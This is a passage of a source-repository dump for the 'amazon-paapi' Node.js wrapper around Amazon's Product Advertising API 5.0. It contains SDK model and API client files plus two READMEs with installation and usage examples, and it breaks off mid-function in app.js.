* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/Availability', 'model/Condition', 'model/DeliveryFlag', 'model/MaxPrice', 'model/Merchant', 'model/MinPrice', 'model/MinReviewsRating', 'model/MinSavingPercent', 'model/OfferCount', 'model/PartnerType', 'model/Properties', 'model/SearchItemsResource', 'model/SortBy'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./Availability'), require('./Condition'), require('./DeliveryFlag'), require('./MaxPrice'), require('./Merchant'), require('./MinPrice'), require('./MinReviewsRating'), require('./MinSavingPercent'), require('./OfferCount'), require('./PartnerType'), require('./Properties'), require('./SearchItemsResource'), require('./SortBy'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.SearchItemsRequest = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.Availability, root.ProductAdvertisingAPIv1.Condition, root.ProductAdvertisingAPIv1.DeliveryFlag, root.ProductAdvertisingAPIv1.MaxPrice, root.ProductAdvertisingAPIv1.Merchant, root.ProductAdvertisingAPIv1.MinPrice, root.ProductAdvertisingAPIv1.MinReviewsRating, root.ProductAdvertisingAPIv1.MinSavingPercent, root.ProductAdvertisingAPIv1.OfferCount, root.ProductAdvertisingAPIv1.PartnerType, root.ProductAdvertisingAPIv1.Properties, root.ProductAdvertisingAPIv1.SearchItemsResource, root.ProductAdvertisingAPIv1.SortBy);
}
}(this, function(ApiClient, Availability, Condition, DeliveryFlag, MaxPrice, Merchant, MinPrice, MinReviewsRating, MinSavingPercent, OfferCount, PartnerType, Properties, SearchItemsResource, SortBy) {
'use strict';
/**
* The SearchItemsRequest model module.
* @module model/SearchItemsRequest
* @version 1.0.0
*/
/**
* Constructs a new <code>SearchItemsRequest</code>.
* @alias module:model/SearchItemsRequest
* @class
* @param partnerTag {String}
* @param partnerType {module:model/PartnerType}
*/
var exports = function(partnerTag, partnerType) {
var _this = this;
_this['PartnerTag'] = partnerTag;
_this['PartnerType'] = partnerType;
};
/**
* Constructs a <code>SearchItemsRequest</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/SearchItemsRequest} obj Optional instance to populate.
* @return {module:model/SearchItemsRequest} The populated <code>SearchItemsRequest</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('Actor')) {
obj['Actor'] = ApiClient.convertToType(data['Actor'], 'String');
}
if (data.hasOwnProperty('Artist')) {
obj['Artist'] = ApiClient.convertToType(data['Artist'], 'String');
}
if (data.hasOwnProperty('Author')) {
obj['Author'] = ApiClient.convertToType(data['Author'], 'String');
}
if (data.hasOwnProperty('Availability')) {
obj['Availability'] = Availability.constructFromObject(data['Availability']);
}
if (data.hasOwnProperty('Brand')) {
obj['Brand'] = ApiClient.convertToType(data['Brand'], 'String');
}
if (data.hasOwnProperty('BrowseNodeId')) {
obj['BrowseNodeId'] = ApiClient.convertToType(data['BrowseNodeId'], 'String');
}
if (data.hasOwnProperty('Condition')) {
obj['Condition'] = Condition.constructFromObject(data['Condition']);
}
if (data.hasOwnProperty('CurrencyOfPreference')) {
obj['CurrencyOfPreference'] = ApiClient.convertToType(data['CurrencyOfPreference'], 'String');
}
if (data.hasOwnProperty('DeliveryFlags')) {
obj['DeliveryFlags'] = ApiClient.convertToType(data['DeliveryFlags'], [DeliveryFlag]);
}
if (data.hasOwnProperty('ItemCount')) {
obj['ItemCount'] = ApiClient.convertToType(data['ItemCount'], 'Number');
}
if (data.hasOwnProperty('ItemPage')) {
obj['ItemPage'] = ApiClient.convertToType(data['ItemPage'], 'Number');
}
if (data.hasOwnProperty('Keywords')) {
obj['Keywords'] = ApiClient.convertToType(data['Keywords'], 'String');
}
if (data.hasOwnProperty('LanguagesOfPreference')) {
obj['LanguagesOfPreference'] = ApiClient.convertToType(data['LanguagesOfPreference'], ['String']);
}
if (data.hasOwnProperty('Marketplace')) {
obj['Marketplace'] = ApiClient.convertToType(data['Marketplace'], 'String');
}
if (data.hasOwnProperty('MaxPrice')) {
obj['MaxPrice'] = MaxPrice.constructFromObject(data['MaxPrice']);
}
if (data.hasOwnProperty('Merchant')) {
obj['Merchant'] = Merchant.constructFromObject(data['Merchant']);
}
if (data.hasOwnProperty('MinPrice')) {
obj['MinPrice'] = MinPrice.constructFromObject(data['MinPrice']);
}
if (data.hasOwnProperty('MinReviewsRating')) {
obj['MinReviewsRating'] = MinReviewsRating.constructFromObject(data['MinReviewsRating']);
}
if (data.hasOwnProperty('MinSavingPercent')) {
obj['MinSavingPercent'] = MinSavingPercent.constructFromObject(data['MinSavingPercent']);
}
if (data.hasOwnProperty('OfferCount')) {
obj['OfferCount'] = OfferCount.constructFromObject(data['OfferCount']);
}
if (data.hasOwnProperty('PartnerTag')) {
obj['PartnerTag'] = ApiClient.convertToType(data['PartnerTag'], 'String');
}
if (data.hasOwnProperty('PartnerType')) {
obj['PartnerType'] = PartnerType.constructFromObject(data['PartnerType']);
}
if (data.hasOwnProperty('Properties')) {
obj['Properties'] = Properties.constructFromObject(data['Properties']);
}
if (data.hasOwnProperty('Resources')) {
obj['Resources'] = ApiClient.convertToType(data['Resources'], [SearchItemsResource]);
}
if (data.hasOwnProperty('SearchIndex')) {
obj['SearchIndex'] = ApiClient.convertToType(data['SearchIndex'], 'String');
}
if (data.hasOwnProperty('SortBy')) {
obj['SortBy'] = SortBy.constructFromObject(data['SortBy']);
}
if (data.hasOwnProperty('Title')) {
obj['Title'] = ApiClient.convertToType(data['Title'], 'String');
}
}
return obj;
}
/**
* @member {String} Actor
*/
exports.prototype['Actor'] = undefined;
/**
* @member {String} Artist
*/
exports.prototype['Artist'] = undefined;
/**
* @member {String} Author
*/
exports.prototype['Author'] = undefined;
/**
* @member {module:model/Availability} Availability
*/
exports.prototype['Availability'] = undefined;
/**
* @member {String} Brand
*/
exports.prototype['Brand'] = undefined;
/**
* @member {String} BrowseNodeId
*/
exports.prototype['BrowseNodeId'] = undefined;
/**
* @member {module:model/Condition} Condition
*/
exports.prototype['Condition'] = undefined;
/**
* @member {String} CurrencyOfPreference
*/
exports.prototype['CurrencyOfPreference'] = undefined;
/**
* @member {Array.<module:model/DeliveryFlag>} DeliveryFlags
*/
exports.prototype['DeliveryFlags'] = undefined;
/**
* @member {Number} ItemCount
*/
exports.prototype['ItemCount'] = undefined;
/**
* @member {Number} ItemPage
*/
exports.prototype['ItemPage'] = undefined;
/**
* @member {String} Keywords
*/
exports.prototype['Keywords'] = undefined;
/**
* @member {Array.<String>} LanguagesOfPreference
*/
exports.prototype['LanguagesOfPreference'] = undefined;
/**
* @member {String} Marketplace
*/
exports.prototype['Marketplace'] = undefined;
/**
* @member {module:model/MaxPrice} MaxPrice
*/
exports.prototype['MaxPrice'] = undefined;
/**
* @member {module:model/Merchant} Merchant
*/
exports.prototype['Merchant'] = undefined;
/**
* @member {module:model/MinPrice} MinPrice
*/
exports.prototype['MinPrice'] = undefined;
/**
* @member {module:model/MinReviewsRating} MinReviewsRating
*/
exports.prototype['MinReviewsRating'] = undefined;
/**
* @member {module:model/MinSavingPercent} MinSavingPercent
*/
exports.prototype['MinSavingPercent'] = undefined;
/**
* @member {module:model/OfferCount} OfferCount
*/
exports.prototype['OfferCount'] = undefined;
/**
* @member {String} PartnerTag
*/
exports.prototype['PartnerTag'] = undefined;
/**
* @member {module:model/PartnerType} PartnerType
*/
exports.prototype['PartnerType'] = undefined;
/**
* @member {module:model/Properties} Properties
*/
exports.prototype['Properties'] = undefined;
/**
* @member {Array.<module:model/SearchItemsResource>} Resources
*/
exports.prototype['Resources'] = undefined;
/**
* @member {String} SearchIndex
*/
exports.prototype['SearchIndex'] = undefined;
/**
* @member {module:model/SortBy} SortBy
*/
exports.prototype['SortBy'] = undefined;
/**
* @member {String} Title
*/
exports.prototype['Title'] = undefined;
return exports;
}));
<file_sep>/README.md
# amazon-paapi
[](https://badge.fury.io/js/amazon-paapi)
[](https://nodei.co/npm/amazon-paapi/)
Amazon Associate Product Advertising API for NodeJs. A PAAPI 5.0 Extension.
A **clean** wrapper for amazon's [NodeJs SDK.](https://webservices.amazon.com/paapi5/documentation/with-sdk.html#nodejs) Main purpose of this module is to jumpstart development with easy to understand and clean syntax inspired with the amazon [scratchpad](https://webservices.amazon.com/paapi5/scratchpad/index.html)-like operation.
[](https://webservices.amazon.com/paapi5/documentation/)
## Installation
```bash
npm install amazon-paapi --save
```
## Quickstart
```js
const amazonPaapi = require('amazon-paapi');
const commonParameters = {
AccessKey: '<YOUR ACCESS KEY>',
SecretKey: '<YOUR SECRET KEY>',
PartnerTag: '<YOUR PARTNER TAG>', // yourtag-20
PartnerType: 'Associates', // Default value is Associates.
Marketplace: 'www.amazon.com', // Default value is US. Note: Host and Region are predetermined based on the marketplace value. There is no need for you to add Host and Region as soon as you specify the correct Marketplace value. If your region is not US or .com, please make sure you add the correct Marketplace value.
};
const requestParameters = {
ASIN: 'B07H65KP63',
Resources: [
'ItemInfo.Title',
'Offers.Listings.Price',
'VariationSummary.VariationDimension',
],
};
/** Promise */
amazonPaapi
.GetVariations(commonParameters, requestParameters)
.then((data) => {
// do something with the success response.
console.log(data);
})
.catch((error) => {
// catch an error.
console.log(error);
});
```
## Usage
```js
const amazonPaapi = require('amazon-paapi');
const commonParameters = {
AccessKey: '<YOUR ACCESS KEY>',
SecretKey: '<YOUR SECRET KEY>',
PartnerTag: '<YOUR PARTNER TAG>', // yourtag-20
PartnerType: 'Associates', // Default value is Associates.
Marketplace: 'www.amazon.com', // Default value is US. Note: Host and Region are predetermined based on the marketplace value. There is no need for you to add Host and Region as soon as you specify the correct Marketplace value. If your region is not US or .com, please make sure you add the correct Marketplace value.
};
```
### [GetBrowseNodes](https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html)
Lookup information for a Browse Node. Please see sample script [here](https://github.com/jorgerosal/amazon-paapi/blob/master/sample/getBrowseNodes.js).
```js
const requestParameters = {
BrowseNodeIds: ['3040', '3045'],
LanguagesOfPreference: ['es_US'],
Resources: ['BrowseNodes.Ancestor', 'BrowseNodes.Children'],
};
/** Promise */
amazonPaapi
.GetBrowseNodes(commonParameters, requestParameters)
.then((data) => {
// do something with the success response.
console.log(data);
})
.catch((error) => {
// catch an error.
console.log(error);
});
```
### [GetItems](https://webservices.amazon.com/paapi5/documentation/get-items.html)
Lookup item information for an item. Please see sample script [here](https://github.com/jorgerosal/amazon-paapi/blob/master/sample/getItems.js).
> Note: This operation only supports ASIN as id Type. If you need to
> lookup using UPC or EAN, you can do so under `SearchItems` operation.
```js
const requestParameters = {
ItemIds: ['B00X4WHP5E', 'B00ZV9RDKK'],
ItemIdType: 'ASIN',
Condition: 'New',
Resources: [
'Images.Primary.Medium',
'ItemInfo.Title',
'Offers.Listings.Price',
],
};
/** Promise */
amazonPaapi
.GetItems(commonParameters, requestParameters)
.then((data) => {
// do something with the success response.
console.log(data);
})
.catch((error) => {
// catch an error.
console.log(error);
});
```
### [GetVariations](https://webservices.amazon.com/paapi5/documentation/get-variations.html)
Lookup information for variations. Please see sample script [here](https://github.com/jorgerosal/amazon-paapi/blob/master/sample/getVariations.js).
```js
const requestParameters = {
ASIN: 'B07H65KP63',
Resources: [
'Images.Primary.Medium',
'ItemInfo.Title',
'Offers.Listings.Price',
'VariationSummary.VariationDimension',
],
};
/** Promise */
amazonPaapi
.GetVariations(commonParameters, requestParameters)
.then((data) => {
// do something with the success response.
console.log(data);
})
.catch((error) => {
// catch an error.
console.log(error);
});
```
### [SearchItems](https://webservices.amazon.com/paapi5/documentation/search-items.html)
Searches for items on Amazon. Please see sample script [here](https://github.com/jorgerosal/amazon-paapi/blob/master/sample/searchItems.js).
```js
const requestParameters = {
Keywords: '<NAME>',
SearchIndex: 'Books',
ItemCount: 2,
Resources: [
'Images.Primary.Medium',
'ItemInfo.Title',
'Offers.Listings.Price',
],
};
/** Promise */
amazonPaapi
.SearchItems(commonParameters, requestParameters)
.then((data) => {
// do something with the success response.
console.log(data);
})
.catch((error) => {
// catch an error.
console.log(error);
});
```
### [Common Request Parameters](https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html)
- **AccessKey** - An alphanumeric token that uniquely identifies you. For information about getting an Access Key, see [Register for Product Advertising API](https://webservices.amazon.com/paapi5/documentation/register-for-pa-api.html).
- **SecretKey** - A key that is used in conjunction with the Access Key to cryptographically sign an API request. To retrieve your Access Key or Secret Access Key, refer [Register for Product Advertising API](https://webservices.amazon.com/paapi5/documentation/register-for-pa-api.html).
- **PartnerTag** - An alphanumeric token that uniquely identifies a partner. In case of an associate, this token is the means by which Amazon identifies the Associate to credit for a sale. If the value for `PartnerType` is `Associate`, specify the `store ID` or `tracking ID` of a valid associate store from the requested marketplace as the value for `PartnerTag`. For example, If `store-20` and `store-21` are store id or tracking id of customer in United States and United Kingdom marketplaces respectively, then customer needs to pass `store-20` as `PartnerTag` in all PAAPI requests for United States marketplace and `store-21` as `PartnerTag` in all PAAPI requests for United Kingdom marketplace. To obtain an Partner Tag, see [Sign up as an Amazon Associate](https://webservices.amazon.com/paapi5/documentation/troubleshooting/sign-up-as-an-associate.html).
- **PartnerType** - The type of Amazon program. For more information on valid values, refer [PartnerType Parameter](https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#partnertype).
- **Marketplace** - Default value is US. Note: Host and Region are predetermined based on the marketplace value. There's is no need for you to add Host and Region as soon as you specify correct Marketplace value. If your region is not US or .com, please make sure you add the correct Marketplace value.
### [V4.0 to V5.0 Mapping](%28https://webservices.amazon.com/paapi5/documentation/migration-guide/pa-api-40-to-50-mapping.html)
Due to major change from V4.0 to V5.0, most of the legacy application may not work properly since V4.0 is not supported anymore.
We're currently working on mapping some commonly used operations from the V4.0 and make it available soon to work with the V5.0.
In the mean time, please check amazon [documentation](https://webservices.amazon.com/paapi5/documentation/migration-guide/pa-api-40-to-50-mapping.html) on how to map.
### FAQ
- What are the available resources I can add in the parameter?
_Please refer to this [page](https://webservices.amazon.com/paapi5/documentation/resources.html)._
- How can I do itemLookup using a UPC or EAN?
_You can lookup using searchItems operation. Add your UPC or EAN under the keyword parameter. More details [here](https://webservices.amazon.com/paapi5/documentation/use-cases/search-with-external-identifiers.html)._
- What if I included an invalid ASIN value in ASIN array parameter?
_You will get an error response but the result of the valid ASINs are still included in the response data. Please refer to the last portion of this [page](https://webservices.amazon.com/paapi5/documentation/troubleshooting/processing-of-errors.html)._
- Is the addCart Operation still supported in V5.0?
_It is deprecated, But you can use [Add to Cart form](https://webservices.amazon.com/paapi5/documentation/add-to-cart-form.html) to integrate cart on your websites._
### Donation
If this somehow makes your job a bit easier, please consider dropping few bucks.
Your contribution allows me to spend more time improving features of this project.
[](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=2N243HNZCXY7J&source=url)
### License
[MIT](https://github.com/jorgerosal/amazon-paapi/blob/master/LICENSE)
<file_sep>/SDK/README.md
# Product Advertising API 5.0 SDK for NodeJS
[](https://nodei.co/npm/paapi5-nodejs-sdk/)
[](http://badge.fury.io/js/paapi5-nodejs-sdk) [](https://www.npmjs.com/package/paapi5-nodejs-sdk)
This repository contains the official Product Advertising API 5.0 NodeJS SDK called **paapi5-nodejs-sdk** that allows you to access the [Product Advertising API](https://webservices.amazon.com/paapi5/documentation/index.html) from your NodeJS app.
## Installation
### For [Node.js](https://nodejs.org/)
The Product Advertising API NodeJS SDK can be installed via [npm](https://www.npmjs.com/package/paapi5-nodejs-sdk):
```shell
npm install paapi5-nodejs-sdk --save
```
You should now be able to `require('paapi5-nodejs-sdk')` in javascript files.
### For browser
The library also works in the browser environment via npm and [browserify](http://browserify.org/). After following
the above steps with Node.js and installing browserify with `npm install -g browserify`,
perform the following (assuming *main.js* is your entry file, that's to say your javascript file where you actually
use this library):
```shell
browserify main.js > bundle.js
```
Then include *bundle.js* in the HTML pages.
### Webpack Configuration
Using Webpack you may encounter the following error: "Module not found: Error:
Cannot resolve module", most certainly you should disable AMD loader. Add/merge
the following section to your webpack config:
```javascript
module: {
rules: [
{
parser: {
amd: false
}
}
]
}
```
## Getting Started
Please follow the [installation](#installation) instruction and execute the following JS code:
Simple example for [SearchItems](https://webservices.amazon.com/paapi5/documentation/search-items.html) to discover Amazon products with the keyword '<NAME>' in Books category:
```javascript
var ProductAdvertisingAPIv1 = require('paapi5-nodejs-sdk');
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
// Specify your credentials here. These are used to create and sign the request.
defaultClient.accessKey = '<YOUR ACCESS KEY>';
defaultClient.secretKey = '<YOUR SECRET KEY>';
/**
* PAAPI Host and Region to which you want to send request.
* For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region
*/
defaultClient.host = 'webservices.amazon.com';
defaultClient.region = 'us-east-1';
var api = new ProductAdvertisingAPIv1.DefaultApi();
// Request Initialization
var searchItemsRequest = new ProductAdvertisingAPIv1.SearchItemsRequest();
/** Enter your partner tag (store/tracking id) and partner type */
searchItemsRequest['PartnerTag'] = '<YOUR PARTNER TAG>';
searchItemsRequest['PartnerType'] = 'Associates';
/** Specify Keywords */
searchItemsRequest['Keywords'] = '<NAME>';
/**
* Specify the category in which search request is to be made
* For more details, refer: https://webservices.amazon.com/paapi5/documentation/use-cases/organization-of-items-on-amazon/search-index.html
*/
searchItemsRequest['SearchIndex'] = 'Books';
/** Specify item count to be returned in search result */
searchItemsRequest['ItemCount'] = 2;
/**
* Choose resources you want from SearchItemsResource enum
* For more details, refer: https://webservices.amazon.com/paapi5/documentation/search-items.html#resources-parameter
*/
searchItemsRequest['Resources'] = ['Images.Primary.Medium', 'ItemInfo.Title', 'Offers.Listings.Price'];
function onSuccess(data) {
console.log('API called successfully.');
var searchItemsResponse = ProductAdvertisingAPIv1.SearchItemsResponse.constructFromObject(data);
console.log('Complete Response: \n' + JSON.stringify(searchItemsResponse, null, 1));
if (searchItemsResponse['SearchResult'] !== undefined) {
console.log('Printing First Item Information in SearchResult:');
var item_0 = searchItemsResponse['SearchResult']['Items'][0];
if (item_0 !== undefined) {
if (item_0['ASIN'] !== undefined) {
console.log('ASIN: ' + item_0['ASIN']);
}
if (item_0['DetailPageURL'] !== undefined) {
console.log('DetailPageURL: ' + item_0['DetailPageURL']);
}
if (
item_0['ItemInfo'] !== undefined &&
item_0['ItemInfo']['Title'] !== undefined &&
item_0['ItemInfo']['Title']['DisplayValue'] !== undefined
) {
console.log('Title: ' + item_0['ItemInfo']['Title']['DisplayValue']);
}
if (
item_0['Offers'] !== undefined &&
item_0['Offers']['Listings'] !== undefined &&
item_0['Offers']['Listings'][0]['Price'] !== undefined &&
item_0['Offers']['Listings'][0]['Price']['DisplayAmount'] !== undefined
) {
console.log('Buying Price: ' + item_0['Offers']['Listings'][0]['Price']['DisplayAmount']);
}
}
}
if (searchItemsResponse['Errors'] !== undefined) {
console.log('Errors:');
console.log('Complete Error Response: ' + JSON.stringify(searchItemsResponse['Errors'], null, 1));
console.log('Printing 1st Error:');
var error_0 = searchItemsResponse['Errors'][0];
console.log('Error Code: ' + error_0['Code']);
console.log('Error Message: ' + error_0['Message']);
}
}
function onError(error) {
console.log('Error calling PA-API 5.0!');
console.log('Printing Full Error Object:\n' + JSON.stringify(error, null, 1));
console.log('Status Code: ' + error['status']);
if (error['response'] !== undefined && error['response']['text'] !== undefined) {
console.log('Error Object: ' + JSON.stringify(error['response']['text'], null, 1));
}
}
api.searchItems(searchItemsRequest).then(
function(data) {
onSuccess(data);
},
function(error) {
onError(error);
}
);
```
Complete documentation, installation instructions, and examples are available [here](https://webservices.amazon.com/paapi5/documentation/index.html).
## License
This SDK is distributed under the [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0), see LICENSE.txt and NOTICE.txt for more information.
<file_sep>/SDK/src/api/DefaultApi.js
/**
* Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/GetBrowseNodesRequest', 'model/GetBrowseNodesResponse', 'model/GetItemsRequest', 'model/GetItemsResponse', 'model/GetVariationsRequest', 'model/GetVariationsResponse', 'model/ProductAdvertisingAPIClientException', 'model/ProductAdvertisingAPIServiceException', 'model/SearchItemsRequest', 'model/SearchItemsResponse'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('../model/GetBrowseNodesRequest'), require('../model/GetBrowseNodesResponse'), require('../model/GetItemsRequest'), require('../model/GetItemsResponse'), require('../model/GetVariationsRequest'), require('../model/GetVariationsResponse'), require('../model/ProductAdvertisingAPIClientException'), require('../model/ProductAdvertisingAPIServiceException'), require('../model/SearchItemsRequest'), require('../model/SearchItemsResponse'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.DefaultApi = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.GetBrowseNodesRequest, root.ProductAdvertisingAPIv1.GetBrowseNodesResponse, root.ProductAdvertisingAPIv1.GetItemsRequest, root.ProductAdvertisingAPIv1.GetItemsResponse, root.ProductAdvertisingAPIv1.GetVariationsRequest, root.ProductAdvertisingAPIv1.GetVariationsResponse, root.ProductAdvertisingAPIv1.ProductAdvertisingAPIClientException, root.ProductAdvertisingAPIv1.ProductAdvertisingAPIServiceException, root.ProductAdvertisingAPIv1.SearchItemsRequest, root.ProductAdvertisingAPIv1.SearchItemsResponse);
}
}(this, function(ApiClient, GetBrowseNodesRequest, GetBrowseNodesResponse, GetItemsRequest, GetItemsResponse, GetVariationsRequest, GetVariationsResponse, ProductAdvertisingAPIClientException, ProductAdvertisingAPIServiceException, SearchItemsRequest, SearchItemsResponse) {
'use strict';
/**
* Default service.
* @module api/DefaultApi
* @version 1.0.0
*/
/**
* Constructs a new DefaultApi.
* @alias module:api/DefaultApi
* @class
* @param {module:ApiClient} [apiClient] Optional API client implementation to use,
* default to {@link module:ApiClient#instance} if unspecified.
*/
var exports = function(apiClient) {
this.apiClient = apiClient || ApiClient.instance;
/**
* @param {module:model/GetBrowseNodesRequest} getBrowseNodesRequest GetBrowseNodesRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with an object containing data of type {@link module:model/GetBrowseNodesResponse} and HTTP response
*/
this.getBrowseNodesWithHttpInfo = function(getBrowseNodesRequest) {
var postBody = getBrowseNodesRequest;
// verify the required parameter 'getBrowseNodesRequest' is set
if (getBrowseNodesRequest === undefined || getBrowseNodesRequest === null) {
throw new Error("Missing the required parameter 'getBrowseNodesRequest' when calling getBrowseNodes");
}
var pathParams = {
};
var queryParams = {
};
var collectionQueryParams = {
};
var headerParams = {
};
var formParams = {
};
var authNames = [];
var contentTypes = ['application/json'];
var accepts = ['application/json'];
var returnType = GetBrowseNodesResponse;
return this.apiClient.callApi(
'/paapi5/getbrowsenodes', 'POST', 'GetBrowseNodes',
pathParams, queryParams, collectionQueryParams, headerParams, formParams, postBody,
authNames, contentTypes, accepts, returnType
);
}
/**
* @param {module:model/GetBrowseNodesRequest} getBrowseNodesRequest GetBrowseNodesRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with data of type {@link module:model/GetBrowseNodesResponse}
*/
this.getBrowseNodes = function(getBrowseNodesRequest) {
return this.getBrowseNodesWithHttpInfo(getBrowseNodesRequest)
.then(function(response_and_data) {
return response_and_data.data;
});
}
/**
* @param {module:model/GetItemsRequest} getItemsRequest GetItemsRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with an object containing data of type {@link module:model/GetItemsResponse} and HTTP response
*/
this.getItemsWithHttpInfo = function(getItemsRequest) {
var postBody = getItemsRequest;
// verify the required parameter 'getItemsRequest' is set
if (getItemsRequest === undefined || getItemsRequest === null) {
throw new Error("Missing the required parameter 'getItemsRequest' when calling getItems");
}
var pathParams = {
};
var queryParams = {
};
var collectionQueryParams = {
};
var headerParams = {
};
var formParams = {
};
var authNames = [];
var contentTypes = ['application/json'];
var accepts = ['application/json'];
var returnType = GetItemsResponse;
return this.apiClient.callApi(
'/paapi5/getitems', 'POST', 'GetItems',
pathParams, queryParams, collectionQueryParams, headerParams, formParams, postBody,
authNames, contentTypes, accepts, returnType
);
}
/**
* @param {module:model/GetItemsRequest} getItemsRequest GetItemsRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with data of type {@link module:model/GetItemsResponse}
*/
this.getItems = function(getItemsRequest) {
return this.getItemsWithHttpInfo(getItemsRequest)
.then(function(response_and_data) {
return response_and_data.data;
});
}
/**
* @param {module:model/GetVariationsRequest} getVariationsRequest GetVariationsRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with an object containing data of type {@link module:model/GetVariationsResponse} and HTTP response
*/
this.getVariationsWithHttpInfo = function(getVariationsRequest) {
var postBody = getVariationsRequest;
// verify the required parameter 'getVariationsRequest' is set
if (getVariationsRequest === undefined || getVariationsRequest === null) {
throw new Error("Missing the required parameter 'getVariationsRequest' when calling getVariations");
}
var pathParams = {
};
var queryParams = {
};
var collectionQueryParams = {
};
var headerParams = {
};
var formParams = {
};
var authNames = [];
var contentTypes = ['application/json'];
var accepts = ['application/json'];
var returnType = GetVariationsResponse;
return this.apiClient.callApi(
'/paapi5/getvariations', 'POST', 'GetVariations',
pathParams, queryParams, collectionQueryParams, headerParams, formParams, postBody,
authNames, contentTypes, accepts, returnType
);
}
/**
* @param {module:model/GetVariationsRequest} getVariationsRequest GetVariationsRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with data of type {@link module:model/GetVariationsResponse}
*/
this.getVariations = function(getVariationsRequest) {
return this.getVariationsWithHttpInfo(getVariationsRequest)
.then(function(response_and_data) {
return response_and_data.data;
});
}
/**
* @param {module:model/SearchItemsRequest} searchItemsRequest SearchItemsRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with an object containing data of type {@link module:model/SearchItemsResponse} and HTTP response
*/
this.searchItemsWithHttpInfo = function(searchItemsRequest) {
var postBody = searchItemsRequest;
// verify the required parameter 'searchItemsRequest' is set
if (searchItemsRequest === undefined || searchItemsRequest === null) {
throw new Error("Missing the required parameter 'searchItemsRequest' when calling searchItems");
}
var pathParams = {
};
var queryParams = {
};
var collectionQueryParams = {
};
var headerParams = {
};
var formParams = {
};
var authNames = [];
var contentTypes = ['application/json'];
var accepts = ['application/json'];
var returnType = SearchItemsResponse;
return this.apiClient.callApi(
'/paapi5/searchitems', 'POST', 'SearchItems',
pathParams, queryParams, collectionQueryParams, headerParams, formParams, postBody,
authNames, contentTypes, accepts, returnType
);
}
/**
* @param {module:model/SearchItemsRequest} searchItemsRequest SearchItemsRequest
* @return {Promise} a {@link https://www.promisejs.org/|Promise}, with data of type {@link module:model/SearchItemsResponse}
*/
this.searchItems = function(searchItemsRequest) {
return this.searchItemsWithHttpInfo(searchItemsRequest)
.then(function(response_and_data) {
return response_and_data.data;
});
}
};
return exports;
}));
<file_sep>/app.js
const paapiSdk = require('./SDK/src/index'); // Official SDK from NPM is currently not working. This is downloaded straight from PAAPI website.
const marketplaceList = require('./marketplace.json');
const defaultClient = paapiSdk.ApiClient.instance;
const api = new paapiSdk.DefaultApi();
const apiRequest = async (Options) => {
let commonParameters = Options.commonParameters;
defaultClient.accessKey = commonParameters.AccessKey;
defaultClient.secretKey = commonParameters.SecretKey;
let marketPlaceDetails = await getMarketplaceDetails(commonParameters.Marketplace);
defaultClient.host = marketPlaceDetails.Host;
defaultClient.region = marketPlaceDetails.Region;
let operationOptions = getDefaultOperation(Options.Operations);
operationOptions['PartnerTag'] = commonParameters.PartnerTag;
operationOptions['PartnerType'] = commonParameters.PartnerType;
Object.assign(operationOptions, Options.requestParameters);
return await api[Options.Operations](operationOptions);
};
const GetItems = async (commonParameters, requestParameters) => {
let Options = { commonParameters, requestParameters, Operations : "getItems" };
return await apiRequest(Options);
};
const GetBrowseNodes = async (commonParameters, requestParameters) => {
let Options = { commonParameters, requestParameters, Operations : "getBrowseNodes" };
return await apiRequest(Options);
};
const GetVariations = async (commonParameters, requestParameters) => {
let Options = { commonParameters, requestParameters, Operations : "getVariations" };
return await apiRequest(Options);
};
const SearchItems = async (commonParameters, requestParameters) => {
let Options = { commonParameters, requestParameters, Operations : "searchItems" };
return await apiRequest(Options);
};
const getDefaultOperation = method => {
switch (method) {
case 'getItems':
return new paapiSdk.GetItemsRequest();
break;
case 'getBrowseNodes':
return new paapiSdk.GetBrowseNodesRequest();
break;
case 'getVariations':
return new paapiSdk.GetVariationsRequest();
break;
case 'searchItems':
return new paapiSdk.SearchItemsRequest();
}
};
const getMarketplaceDetails = marketplace => new Promise ((resolve, reject) => {
if(isUndefined(marketplace)) { // set US as default
